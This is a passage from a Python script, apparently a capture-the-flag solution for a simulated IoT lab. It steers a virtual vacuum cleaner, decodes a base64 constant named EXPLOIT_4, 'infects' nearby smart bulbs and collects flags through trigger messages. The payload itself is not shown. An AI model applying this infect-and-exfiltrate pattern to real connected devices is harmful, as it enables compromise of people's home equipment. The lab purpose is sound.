print("Trying to go forward - success : {}".format(
cleaner.move(MoveDirection.FORWARD)))
if cleaner.check_passability():
print("Trying to go forward - success : {}".format(
cleaner.move(MoveDirection.FORWARD)))
if cleaner.check_passability():
print("There is free space in front of device!")
print("Trying to go forward - success : {}".format(
cleaner.move(MoveDirection.FORWARD)))
else:
print("There is NO free space in front of device!")
cleaner.print_env()
print("Trying to clean surface - success : {}".format(
cleaner.clean_surface()))
cleaner.print_env()
discovered_things = cleaner.discover_things()
for thing in discovered_things:
cleaner.send_message(thing, "Message from vacuum cleaner!")
print("Discovered things: {}".format(discovered_things))
print("Trying to send debug message - success : {}".format(
cleaner.send_debug_message("Message: test")))
# print("Trying to return to dock - success : {}".format(cleaner.return_dock()))
cleaner.print_env()
print("Trying to rotate right - success : {}".format(
cleaner.rotate(RotateDirection.RIGHT)))
cleaner.send_debug_message(
"Did not receive flag from : {}".format(device_name))
return ""
if __name__ == '__main__':
flags = ""
cleaner = VacuumCleaner()
exploit = base64.b64decode(EXPLOIT_4)
# infect first bulb
infect_device(cleaner)
time.sleep(15)
things = cleaner.discover_things()
for device in things:
cleaner.send_message(device,
"FLAGFLAGFLAG" + cleaner.get_dev_id()[:10])
# wait for result
flags += wait_flag(cleaner, "P1_")
things = cleaner.discover_things()
for device in things:
cleaner.send_message(device, "STOPSTOPSTOP")
dump_flag(cleaner, flags)
flags = ""
# go to second bulb
for i in range(0, 7):
cleaner.move(MoveDirection.FORWARD)